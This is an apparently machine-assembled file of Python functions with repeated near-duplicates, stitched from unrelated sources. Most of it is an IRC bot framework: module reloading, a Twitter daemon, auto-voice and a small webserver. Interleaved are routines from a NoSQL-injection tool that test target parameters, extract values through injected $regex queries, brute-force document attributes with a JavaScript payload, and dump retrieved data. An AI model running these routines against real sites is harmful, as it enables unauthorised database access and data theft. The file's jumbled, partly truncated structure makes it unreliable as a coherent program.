def daemon(code, tc): while True: time.sleep(auto_check) if code.debug: output.info('Running check for new tweets', 'TWITTER') # Here we do the work... for channel in tc: for tweet_item in tc[channel]: if tweet_item.startswith('#'): # ID data = get_tweets(uri_hash % web.quote(tweet_item)) else: data = get_tweets(uri_user % web.quote(tweet_item), tweet_item) if not data: continue data = data[0] hash_str = hash(data['text']) db = database.get(code.default, 'twitter') if not db: # New data on new database, don't output anywhere.. database.set(code.default, [hash_str], 'twitter') continue if hash_str in db: continue # Same db.append(hash_str) database.set(code.default, db, 'twitter') msg = format(data) code.msg(channel, msg.decode('ascii', 'ignore'), shorten_urls=False) db = database.get(code.default, 'twitter') if db: if len(db) > 200: db = db[-200:] database.set(code.default, db, 'twitter')
def reload_module(code, name): name = name.strip('.py') if name not in sys.modules: raise Exception('NoSuchModule', 'Module doesnt exist!') path = sys.modules[name].__file__ if path.endswith('.pyc') or path.endswith('.pyo'): path = path[:-1] if not os.path.isfile(path): raise Exception( 'NoSuchFile', 'Found the compiled code, but not the module!') module = imp.load_source(name, path) sys.modules[name] = module if hasattr(module, 'setup'): module.setup(code) code.register(vars(module)) bind_commands(code) mtime = os.path.getmtime(module.__file__) modified = time.strftime('%H:%M:%S', time.gmtime(mtime)) module = str(module) module_name, module_location = module.split()[1].strip( '\''), module.split()[3].strip('\'').strip('>') output.info('Reloaded %s' % module) return { 'name': module_name, 'location': module_location, 'time': modified }
def join(self, channel, password=None): '''Join a channel''' output.info('Attempting to join channel %s' % channel, 'JOIN') if password is None: self.write(['JOIN', channel]) else: self.write(['JOIN', channel, password])
def daemon(): try: port = bot.config('webserver_port', 8888) output.info('Starting server [%s] [%s]' % (host, str(port)), 'WEBSERVER') run(host=host, port=int(port), quiet=True) except Exception as e: if bot.debug: output.error(str(e), "WEBSERVER")
def setup(self): self.variables = {} filenames = [] if not hasattr(self.config, 'enable'): for fn in os.listdir(os.path.join(home, 'modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'modules', fn)) else: for fn in self.config.enable: filenames.append(os.path.join(home, 'modules', fn + '.py')) if hasattr(self.config, 'extra'): for fn in self.config.extra: if os.path.isfile(fn): filenames.append(fn) elif os.path.isdir(fn): for n in os.listdir(fn): if n.endswith('.py') and not n.startswith('_'): filenames.append(os.path.join(fn, n)) # Add system modules that the user should always require. Still can # be removed by deleting them or moving them out of the system # modules directory for fn in os.listdir(os.path.join(home, 'core/modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'core/modules', fn)) # Should fix excluded_modules = getattr(self.config, 'exclude', []) filenames = sorted(list(set(filenames))) # Reset some variables that way we don't get dups self.modules = [] self.cmds = {} # Load modules for filename in filenames: name = os.path.basename(filename)[:-3] if name in excluded_modules: continue #if name in sys.modules: # del sys.modules[name] try: module = imp.load_source(name, filename) except Exception as e: output.error("Failed to load %s: %s" % (name, e)) else: if hasattr(module, 'setup'): module.setup(self) self.register(vars(module)) self.modules.append(name) if self.modules: output.info('Registered modules: ' + ', '.join(self.modules)) else: output.warning('Couldn\'t find any modules') self.bind_commands()
def setup(code): if not code.config('twitter_autopost'): return if code.debug: output.info('Starting daemon', 'TWITTER') thread.start_new_thread(daemon, ( code, code.config('twitter_autopost', {}), ))
def finish(data='', content='application/json', code=200): self.send_response(code) self.send_header("Content-type", content) self.end_headers() done = float(time.time()) - init_time if bot.debug: output.info('Finished request for %s (took %f seconds)' % (self.path, done), 'WEBSERVER') if isinstance(data, dict): data = json.dumps(data, indent=2) self.wfile.write(data)
def checkstate(bot, input, id): global password password = bot.config('webserver_password') while True: if bot.debug: output.info('Running check to see if the webserver needs to be restarted', 'WEBSERVER') if bot.get('webserver.object') != id: return False time.sleep(1)
def setup(self): self.variables = {} filenames = [] for fn in os.listdir(os.path.join(home, 'modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'modules', fn)) if self.config('extra'): for fn in self.config('extra'): if os.path.isfile(fn): filenames.append(fn) elif os.path.isdir(fn): for n in os.listdir(fn): if n.endswith('.py') and not n.startswith('_'): filenames.append(os.path.join(fn, n)) # Add system modules that the user should always require. Still can # be removed by deleting them or moving them out of the system # modules directory for fn in os.listdir(os.path.join(home, 'core/modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'core/modules', fn)) # Should fix excluded_modules = self.config('excluded_modules', []) filenames = sorted(list(set(filenames))) # Reset some variables that way we don't get dups self.modules = [] self.cmds = {} # Load modules for filename in filenames: name = os.path.basename(filename)[:-3] if name in excluded_modules: continue # if name in sys.modules: # del sys.modules[name] try: module = imp.load_source(name, filename) except Exception as e: output.error("Failed to load %s: %s" % (name, e)) else: if hasattr(module, 'setup'): module.setup(self) self.register(vars(module)) self.modules.append(name) if self.modules: output.info('Registered modules: ' + ', '.join(self.modules)) else: output.warning('Couldn\'t find any modules') self.bind_commands()
def join(self, channel, password=None): '''Join a channel''' output.info('Attempting to join channel %s' % channel, 'JOIN') try: channel = unicode(channel, 'utf-8') except: pass if password is None: self.write(['JOIN', channel]) else: self.write(['JOIN', channel, password])
def join(self, channel, password=None): """ Join a channel """ output.info('Attempting to join channel %s' % channel, 'JOIN') try: channel = unicode(channel, 'utf-8') except: pass if password is None: self.write(['JOIN', channel]) else: self.write(['JOIN', channel, password])
def f_reload(code, input): """Reloads a module, for use by admins only.""" name = input.group(2) if name == code.config.owner: return code.reply("What?") if (not name) or (name == "*"): code.variables = None code.commands = None code.setup() from util import output output.info("Reloaded all modules") return code.reply("{b}Reloaded all modules.") # if a user supplies the module with the extension if name.endswith(".py"): name = os.path.splitext(name)[0] if name not in sys.modules: return code.reply("%s: No such module!" % code.bold(name)) # Thanks to moot for prodding me on this path = sys.modules[name].__file__ if path.endswith(".pyc") or path.endswith(".pyo"): path = path[:-1] if not os.path.isfile(path): return code.reply("Found %s, but not the source file" % code.bold(name)) module = imp.load_source(name, path) sys.modules[name] = module if hasattr(module, "setup"): module.setup(code) mtime = os.path.getmtime(module.__file__) modified = time.strftime("%H:%M:%S", time.gmtime(mtime)) code.register(vars(module)) code.bind_commands() # re import util.output because we're erasing slates from util import output output.info("Reloaded %s" % module) module = str(module) module_name, module_location = module.split()[1].strip("'"), module.split()[3].strip("'").strip(">") code.say( "{b}Reloaded {blue}%s{c} (from {blue}%s{c}) (version: {blue}%s{c}){b}" % (module_name, module_location, modified) )
def f_reload(code, input): """Reloads a module, for use by admins only.""" name = input.group(2) if name == code.config.owner: return code.reply('What?') if (not name) or (name == '*'): code.variables = None code.commands = None code.setup() from util import output output.info('Reloaded all modules') return code.reply('{b}Reloaded all modules.') # if a user supplies the module with the extension if name.endswith('.py'): name = os.path.splitext(name)[0] if name not in sys.modules: return code.reply('%s: No such module!' % code.bold(name)) # Thanks to moot for prodding me on this path = sys.modules[name].__file__ if path.endswith('.pyc') or path.endswith('.pyo'): path = path[:-1] if not os.path.isfile(path): return code.reply('Found %s, but not the source file' % code.bold(name)) module = imp.load_source(name, path) sys.modules[name] = module if hasattr(module, 'setup'): module.setup(code) mtime = os.path.getmtime(module.__file__) modified = time.strftime('%H:%M:%S', time.gmtime(mtime)) code.register(vars(module)) code.bind_commands() # re import util.output because we're erasing slates from util import output output.info('Reloaded %s' % module) module = str(module) module_name, module_location = module.split()[1].strip( '\''), module.split()[3].strip('\'').strip('>') code.say( '{b}Reloaded {blue}%s{c} (from {blue}%s{c}) (version: {blue}%s{c}){b}' % (module_name, module_location, modified))
def testParam(self, p): successes = [] tests = getTests(self.url, p, self) self.tests[p] = tests for testname in tests: test = tests[testname] if str(test.getID()) in self.techniques or str( test.getType()) in self.techniques: info("Attempting " + testname) if test.vulnTest(): success(p + " is " + testname + " injectable!") successes.append(testname) else: verbose("Skipping test " + testname) return successes
def setup(code): # Read the databases here, make global variables. If we can't read the db # then we need to disable the module.. global enabled global db # Try to read the db... db = database.get(code.nick, "twss") if not db: try: db = web.json("http://misc.liamstanley.io/twss.json")["lines"] database.set(code.nick, db, "twss") output.info('Downloaded "That\'s What She Said" library and saved') except: output.error(('Failed to download "That\'s What She Said" library. ' "Disabling twss.py.")) if db: enabled = True
def setup(code): global bot bot = code id = str(gen(0, 10000000)) bot.set('webserver.object', id) # Nasty area, we check for configuration options, some are required and # some arent if not bot.config('webserver'): return if not bot.config('webserver_password'): return output.warning('To use the builtin webserver, you must set a password in the config', 'WEBSERVER') port = bot.config('webserver_port', 8888) if bot.debug: output.info('Running daemon', 'WEBSERVER') thread.start_new_thread(checkstate, (bot, input, id,)) thread.start_new_thread(init, (str(host), int(port),))
def gen_db(botname): global uc_names, cp_names, uc # http://www.unicode.org/reports/tr44/#UnicodeData.txt output.info('Downloading Unicode data') data = get('http://www.unicode.org/Public/UCD/latest/ucd/UnicodeData.txt').read() data = data.split('\n') del data[-1] # http://www.unicode.org/reports/tr44/#UnicodeData.txt for line in data: tmp = line.split(';') name = tmp[1] if tmp[10]: name = name + ' ' + str(tmp[10]) uc[name] = tmp uc_names.append(name) cp_names[tmp[0]] = name database.set(botname, {'uc': uc, 'uc_names': uc_names, 'cp_names': cp_names, 'time': int(time.time())}, 'unicodedata')
def setup(code): # Read the databases here, make global variables. If we can't read the db # then we need to disable the module.. global enabled global db # Try to read the db... db = database.get(code.default, 'twss') if not db: try: db = web.json('https://static.liam.sh/code/twss.json')['lines'] database.set(code.default, db, 'twss') output.info('Downloaded "That\'s What She Said" library and saved') except: output.error( ('Failed to download "That\'s What She Said" library. ' 'Disabling twss.py.')) if db: enabled = True
def auto_voice(code): while True: time.sleep(5) try: if code.debug: output.info('Running check', 'AUTOVOICE') for channel in code.config('voice_active_users'): if channel not in code.chan: continue if not code.chan[channel][code.nick]['op']: continue for user in code.chan[channel]: if user == code.nick: # It's the bot lel continue # Ignore if they're op. They pretty much have voice.. lol if code.chan[channel][user]['op'] is True: continue current_time = int(time.time()) # Ignore if they haven't said anything... if code.chan[channel][user]['count'] == 0: last_msg_time = 0 else: last_msg_time = int( code.chan[channel][user]['messages'][-1]['time']) difference = current_time - last_msg_time # How long ago did they say something first_joined_difference = current_time - code.chan[ channel][user]['first_seen'] # How long # has it been since we first saw them... if difference > auto_voice_timer: # It's been longer than the timer.. # If they're voiced, devoice # However, to prevent from a load of users being devoiced when the bot joins # Check for the first-seen-time if code.chan[channel][user][ 'voiced'] and auto_voice_timer < first_joined_difference: code.chan[channel][user]['voiced'] = False code.write(('MODE', channel, '-v', user)) else: # It's shorter... voice if not voiced.. if not code.chan[channel][user]['voiced']: code.chan[channel][user]['voiced'] = True code.write(('MODE', channel, '+v', user)) except: continue
def gen_db(botname): global uc_names, cp_names, uc # http://www.unicode.org/reports/tr44/#UnicodeData.txt output.info("Downloading Unicode data") data = web.text("http://www.unicode.org/Public/UCD/latest/ucd/UnicodeData.txt") data = data.split("\n") del data[-1] # http://www.unicode.org/reports/tr44/#UnicodeData.txt for line in data: tmp = line.split(";") name = tmp[1] if tmp[10]: name = name + " " + str(tmp[10]) uc[name] = tmp uc_names.append(name) cp_names[tmp[0]] = name database.set( botname, {"uc": uc, "uc_names": uc_names, "cp_names": cp_names, "time": int(time.time())}, "unicodedata" )
def setup(code): # Read the databases here, make global variables. If we can't read the db # then we need to disable the module.. global enabled global db # Try to read the db... db = database.get(code.default, 'twss') if not db: try: db = web.json( 'https://gist.githubusercontent.com/lrstanley/5448b6512827f69cc0a1b167fc9cf893/raw/twss.json' )['lines'] database.set(code.default, db, 'twss') output.info('Downloaded "That\'s What She Said" library and saved') except: output.error( ('Failed to download "That\'s What She Said" library. ' 'Disabling twss.py.')) if db: enabled = True
def reload_module(code, name): name = name.replace('.py', '') if name not in sys.modules: return 1 path = sys.modules[name].__file__ if path.endswith('.pyc') or path.endswith('.pyo'): path = path[:-1] module = imp.load_source(name, path) sys.modules[name] = module if hasattr(module, 'setup'): module.setup(code) code.register(vars(module)) code.bind() mtime = os.path.getmtime(module.__file__) modified = time.strftime('%H:%M:%S', time.gmtime(mtime)) module = str(module) module_name, module_location = module.split()[1].strip( '\''), module.split()[3].strip('\'').strip('>') output.info('Reloaded %s' % module) return {'name': module_name, 'location': module_location, 'time': modified}
def auto_voice(code): while True: time.sleep(5) try: if code.debug: output.info('Running check', 'AUTOVOICE') for channel in code.config('voice_active_users'): if channel not in code.chan: continue if not code.chan[channel][code.nick]['op']: continue for user in code.chan[channel]: if user == code.nick: # It's the bot lel continue # Ignore if they're op. They pretty much have voice.. lol if code.chan[channel][user]['op'] is True: continue current_time = int(time.time()) # Ignore if they haven't said anything... if code.chan[channel][user]['count'] == 0: last_msg_time = 0 else: last_msg_time = int(code.chan[channel][user]['messages'][-1]['time']) difference = current_time - last_msg_time # How long ago did they say something first_joined_difference = current_time - code.chan[channel][user]['first_seen'] # How long # has it been since we first saw them... if difference > auto_voice_timer: # It's been longer than the timer.. # If they're voiced, devoice # However, to prevent from a load of users being devoiced when the bot joins # Check for the first-seen-time if code.chan[channel][user]['voiced'] and auto_voice_timer < first_joined_difference: code.chan[channel][user]['voiced'] = False code.write(('MODE', channel, '-v', user)) else: # It's shorter... voice if not voiced.. if not code.chan[channel][user]['voiced']: code.chan[channel][user]['voiced'] = True code.write(('MODE', channel, '+v', user)) except: continue
def grabLetter(self,length,var,c): try: oldVarLength = len(var); if c == "\\": c += c; #Make sure it's escaped if c == "^": c = "\\^"; #Make sure this is escaped. ^ means anything c = "[" + c + "]"; data = copy.deepcopy(self.scanner.data); self.injectRegex(data,self.param,"^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"); #data.pop(self.param); #data[self.param+"[$regex]"] = "^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"; #print("^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$"); req = self.scanner.sendData(data); check = self.scanner.check(req); if check != "none": if len(var) == oldVarLength: var.append(c); info(self.fromVarToString(var) + "."*(length-len(var))); except Exception as e: failure(str(e)); self.grabLetter(length,var,c);
def grabElementAttributes(self): if len(self.scanner.element_attributes) > 0: if not question( "There were some element attributes previously found. Try finding attributes again?" ): return bold( "A bruteforce method is being used to recover columns. This may take a while." ) file = open("txt/common-columns.txt", "r") common = file.read().strip().split("\n") file.close() threads = [] newAttributes = [] tried = 0 for attribute in common: tried += 1 if tried > self.scanner.maxbrute and self.scanner.maxbrute != 0: info( "Tested for " + str(self.scanner.maxbrute) + " attributes out of " + str(len(common)) + ". Use the -maxbrute flag to increase the number of tests." ) break if len(threads) > self.scanner.maxthreads: threads.pop().join() verbose("Trying attribute " + attribute) thread = threading.Thread(target=self.tryElementAttribute, args=(attribute, newAttributes)) threads.append(thread) thread.start() for thread in threads: thread.join() for attribute in newAttributes: self.scanner.element_attributes.append(attribute)
def tryElementAttribute(self, attribute, newAttributes, retry=0): if retry > 10: failure( "Failed to connect to target 10 times! Consider killing the program." ) return try: payload = self.buildPayload( self.options, " || this." + attribute + ".toString().match(/.*/) && '' == '") data = copy.deepcopy(self.scanner.data) data[self.param] = payload req = self.scanner.sendData(data) if req.text != self.scanner.textErrorBaseline: if attribute not in self.scanner.element_attributes: newAttributes.append(attribute) success("Found an element attribute: " + attribute) else: info("Element attribute: " + attribute + " reconfirmed.") except: self.tryElementAttribute(atrribute, newAttributes, retry + 1)
def reload_module(code, name): name = name.strip('.py') if name not in sys.modules: return 1 path = sys.modules[name].__file__ if path.endswith('.pyc') or path.endswith('.pyo'): path = path[:-1] module = imp.load_source(name, path) sys.modules[name] = module if hasattr(module, 'setup'): module.setup(code) code.register(vars(module)) code.bind() mtime = os.path.getmtime(module.__file__) modified = time.strftime('%H:%M:%S', time.gmtime(mtime)) module = str(module) module_name, module_location = module.split()[1].strip( '\''), module.split()[3].strip('\'').strip('>') output.info('Reloaded %s' % module) return { 'name': module_name, 'location': module_location, 'time': modified }
def main(): colinit() banner() #Initiations parsed = extractArgs() scanner = initScanner(parsed) #Test connection to target if scanner.testConnection(): success("URL can be reached.") else: failure(scanner.url + " cannot be reached. Did you forget http://?") sys.exit(1) print() params = scanner.getParams() if "v" in parsed: setVerbose(True) if "p" in parsed: toTest = parsed["p"].split(",") for param in toTest: if param not in params: failure("Param, " + param + " is not provided in your get/post data!") sys.exit(1) params = toTest verbose("Going to test the following parameters:") for param in params: verbose(param) print() bold("Beginning testing phase.") vulnParams = {} tested = 0 for param in params: tested += 1 bold("Testing for param " + param) successes = scanner.testParam(param) if len(successes) > 0: vulnParams[param] = successes success(param + " is injectible.") if tested < len(params): if not question("Continue testing other parameters?"): break print() bold("Test phase completed.") if len(vulnParams) == 0: failure("No vulnerable parameters found.") sys.exit(1) print() success("Vulnerable Parameters:") for param in vulnParams: success(param) for vuln in vulnParams[param]: success("- " + vuln) print() info("Attempting to dump data...") for param in vulnParams: bold("Parameter: " + param) for vuln in vulnParams[param]: print() bold("Attemping dump with " + vuln + " on param " + param) print() dump = scanner.dumpData(param, vuln) if dump == None: print() failure(vuln + " for " + param + " failed to dump.") else: print() success(vuln + " for " + param + " has retrieved:") if type(dump) == type("str"): success("\t" + dump) elif type(dump) == type({}): for key in dump: success("\t" + str(key) + " : " + str(dump[key])) elif type(dump) == type([]): for i in dump: success("\t" + str(i)) print()
def setup(code): if not code.config('twitter_autopost'): return if code.debug: output.info('Starting daemon', 'TWITTER') thread.start_new_thread(daemon, (code, code.config('twitter_autopost', {}),))
def setup(code): if not code.config('voice_active_users'): return output.info('Starting daemon', 'AUTOVOICE') daemonize(auto_voice, (code,))
def setup(self): self.variables = {} filenames, core_filenames = [], [] for fn in os.listdir(os.path.join(home, 'modules')): if fn.endswith('.py') and not fn.startswith('_'): if self.config('whitelisted_modules', False): if fn.split('.', 1)[0] not in self.config('whitelisted_modules', []): continue filenames.append(os.path.join(home, 'modules', fn)) if self.config('extra'): for fn in self.config('extra'): if os.path.isfile(fn): filenames.append(fn) elif os.path.isdir(fn): for n in os.listdir(fn): if n.endswith('.py') and not n.startswith('_'): filenames.append(os.path.join(fn, n)) # Add system modules that the user should always require. Still can # be removed by deleting them or moving them out of the system # modules directory for fn in os.listdir(os.path.join(home, 'core/modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'core/modules', fn)) core_filenames.append(fn.split('.', 1)[0]) excluded_modules = self.config('excluded_modules', []) if self.load: for filename in self.load: # Add user specified modules on reload if filename in filenames: continue try: fn = os.path.join(home, 'modules', filename + '.py') filenames.append(fn) except: continue filenames = sorted(list(set(filenames))) # Reset some variables that way we don't get dups self.modules = [] self.cmds = {} # Load modules for filename in filenames: name = os.path.basename(filename)[:-3] if name in excluded_modules and name not in self.load: # If the file was excluded via the config file # Don't exclude if purposely loaded continue if name in self.unload: # If the module was excluded via the reload module continue # if name in sys.modules: # del sys.modules[name] self.setup_module(name, filename) tmp_modules = [] for module in self.modules: if module not in core_filenames: tmp_modules.append(module) if core_filenames: output.info('Loaded {} core modules: {}'.format( len(core_filenames), ', '.join(core_filenames))) if self.modules: output.info('Loaded {} modules: {}'.format( len(tmp_modules), ', '.join(tmp_modules))) else: output.warning('Couldn\'t find any modules') self.bind()
def main(argv=None): # 1: Parse The Command Line parser = optparse.OptionParser('%prog [options]') parser.add_option( '-c', '--config', metavar='fn', help='use this configuration file or directory' ) opts, args = parser.parse_args(argv) # 2: Documentation output docstring() # 3: Require python 2.7 or later if sys.version_info < (2, 7): output.error('Requires Python 2.7.x, from www.python.org') sys.exit(1) # 4. Create ~/.code if not made already if not os.path.isdir(dotdir): if not os.path.isdir(dotdir): try: output.info('Creating database directory in ~/.code...') os.mkdir(dotdir) except Exception as e: output.error('There was a problem creating %s:' % dotdir) output.error(str(e)) output.error('Please fix this and then run code again.') sys.exit(1) # 5: Load The Configuration bot_config = opts.config or 'config.json' # and check if exists if not os.path.isfile(bot_config): output.error( 'Configuration file "%s" does not exist. Please copy ' 'the example.json to config.json then run Code again' % bot_config) sys.exit(1) try: config = parse_json(bot_config) except Exception as e: output.error('The config file has syntax errors. Please fix them and run Code again!\n' + str(e)) sys.exit(1) global threads for server in config['servers']: if server['host'] == 'irc.anotherexample.net': continue id = len(threads) process = Process(target=connect, args=(id, setupServer(server),)) process.daemon = True process.start() threads.append({'id': id, 'config': server, 'process': process}) time.sleep(5) # 6: Begin managing these processes try: # set some temporary variables that we will be using for config # file version checking conf_last_check = int(time.time()) conf_last_mtime = int(os.path.getmtime(bot_config)) while True: time.sleep(1) if (int(time.time()) - conf_last_check) > 10 and int(os.path.getmtime(bot_config)) > conf_last_mtime: conf_last_check = int(time.time()) conf_last_mtime = int(os.path.getmtime(bot_config)) try: # If the new configuration file isn't the same as the last # one that we saved, attempt to re-import it config_new = parse_json(bot_config) if len(config_new['servers']) == len(config['servers']) and len(config_new['servers']) == len(threads): output.success('Configuration file %s has changed! Use the restart command to take affect!' % bot_config) config = config_new for i in range(len(config['servers'])): # Once they reboot that connection, it should autoload # the new config. threads[i]['config'] = config['servers'][i] except Exception as e: # Only spit out errors once per file modification output.error("Configuration file has been changed, however I cannot read it! (%s)" % str(e)) if len(threads) == 0: output.warning('No more processes to manage. Exiting...') sys.exit() for id in range(len(threads)): p = threads[id]['process'] if p.exitcode == 0: # Assume it exited safely. Ignore the termination. p.terminate() output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port'])) del threads[id] break if p.exitcode == 1: # Exited erronously. We'll just assume it wants a reboot. p.terminate() p = Process(target=connect, args=(id, setupServer(threads[id]['config']),)) p.daemon = True delay = threads[id]['config']['connect_delay'] if 'connect_delay' in threads[id]['config'] else 20 output.error('Restarting process id #%s (%s:%s) in %s seconds.' % ( id, threads[id]['config']['host'], threads[id]['config']['port'], str(delay) )) time.sleep(delay) output.status('Regenerating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port'])) p.start() threads[id]['process'] = p except KeyboardInterrupt: output.success('Shutting down bot...', 'REQUEST') for id in range(len(threads)): p = threads[id]['process'] output.status('Terminating process ID #%s (%s:%s)' % (id, threads[id]['config']['host'], threads[id]['config']['port'])) p.terminate() time.sleep(1) sys.exit()
global contents, data contents = json.loads(content) data = contents["data"][0] if 'data' not in content: # Backwards compatible with old config.json files contents = {'data': [contents]} data = contents["data"][0] return(contents,data) # ##Seperate from function. Initial data.json check. Route to rest of script... try: if os.path.isfile(data_filename) == True: output.info("Data JSON found...") for data_file in open(data_filename, "r+"): parse_json(data_filename) output.info("'data.json' is valid. Setting up variables from data...") setup(code,contents,data) else: output.error("Data JSON was not found in working directory. Rename data_example.json to make your configuration.") if os.path.isfile('data_example.json') == False: output.info("'data_example.json' was not found... downloading it...") output.warning("Data JSON error is stopping the bot...") # ##Syntax error in data.json. Report that. except ValueError: output.error("Syntax error found in data.json. Stopping...") os._exit(0) #
def reload_all_modules(code): code.variables = None code.commands = None code.setup() output.info('Reloaded all modules')
def log_message(self, format, *args): msg = '(%s) | [%s] | %s' % (self.address_string(), self.log_date_time_string(), format % args) output.info(msg, 'WEBSERVER')
def setup(code): if not code.config('voice_active_users'): return output.info('Starting daemon', 'AUTOVOICE') daemonize(auto_voice, (code, ))
#!/usr/bin/env python2 """ Based on Code Code Copyright (C) 2012-2015 Liam Stanley Source/docs: https://github.com/Liamraystanley/Code """ import sys sys.dont_write_bytecode = True from util import output output.info("Good to go!")
def main(argv=None): # 1: Parse The Command Line parser = optparse.OptionParser('%prog [options]') parser.add_option( '-c', '--config', metavar='fn', help='use this configuration file or directory' ) opts, args = parser.parse_args(argv) # 2: Documentation output docstring() # 3: Require python 2.7 or later if sys.version_info < (2, 7): output.error('Requires Python 2.7 or later, from www.python.org') sys.exit(1) # 4. Create ~/.code if not made already if not os.path.isdir(dotdir): if not os.path.isdir(dotdir): try: output.info( 'Creating database directory in ~/.code...') os.mkdir(dotdir) except Exception as e: output.error('There was a problem creating %s:' % dotdir) output.error(str(e)) output.error('Please fix this and then run code again.') sys.exit(1) # 5: Load The Configuration bot_config = opts.config or 'config.json' # and check if exists if not os.path.isfile(bot_config): output.error( 'Configuration file "%s" does not exist. Please copy ' 'the example.json to config.json then run Code again' % bot_config) sys.exit(1) try: config = parse_json(bot_config) except Exception as e: output.error( 'The config file has syntax errors. Please fix them and run Code again!' '\n' + str(e) ) sys.exit(1) global threads if 'servers' not in config: # Backwards compatible with old config.json files config = {'servers': [config]} for server in config['servers']: if server['host'] == 'irc.anotherexample.net': continue id = len(threads) process = Process(target=connect, args=(id, setupServer(server),)) process.daemon = True process.start() threads.append({'id': id, 'config': server, 'process': process}) time.sleep(5)
def setup(self): self.variables = {} filenames, core_filenames = [], [] for fn in os.listdir(os.path.join(home, 'modules')): if fn.endswith('.py') and not fn.startswith('_'): if self.config('whitelisted_modules', False): if fn.split('.', 1)[0] not in self.config( 'whitelisted_modules', []): continue filenames.append(os.path.join(home, 'modules', fn)) if self.config('extra'): for fn in self.config('extra'): if os.path.isfile(fn): filenames.append(fn) elif os.path.isdir(fn): for n in os.listdir(fn): if n.endswith('.py') and not n.startswith('_'): filenames.append(os.path.join(fn, n)) # Add system modules that the user should always require. Still can # be removed by deleting them or moving them out of the system # modules directory for fn in os.listdir(os.path.join(home, 'core/modules')): if fn.endswith('.py') and not fn.startswith('_'): filenames.append(os.path.join(home, 'core/modules', fn)) core_filenames.append(fn.split('.', 1)[0]) excluded_modules = self.config('excluded_modules', []) if self.load: for filename in self.load: # Add user specified modules on reload if filename in filenames: continue try: fn = os.path.join(home, 'modules', filename + '.py') filenames.append(fn) except: continue filenames = sorted(list(set(filenames))) # Reset some variables that way we don't get dups self.modules = [] self.cmds = {} # Load modules for filename in filenames: name = os.path.basename(filename)[:-3] if name in excluded_modules and name not in self.load: # If the file was excluded via the config file # Don't exclude if purposely loaded continue if name in self.unload: # If the module was excluded via the reload module continue # if name in sys.modules: # del sys.modules[name] self.setup_module(name, filename) tmp_modules = [] for module in self.modules: if module not in core_filenames: tmp_modules.append(module) if core_filenames: output.info('Loaded {} core modules: {}'.format( len(core_filenames), ', '.join(core_filenames))) if self.modules: output.info('Loaded {} modules: {}'.format(len(tmp_modules), ', '.join(tmp_modules))) else: output.warning('Couldn\'t find any modules') self.bind()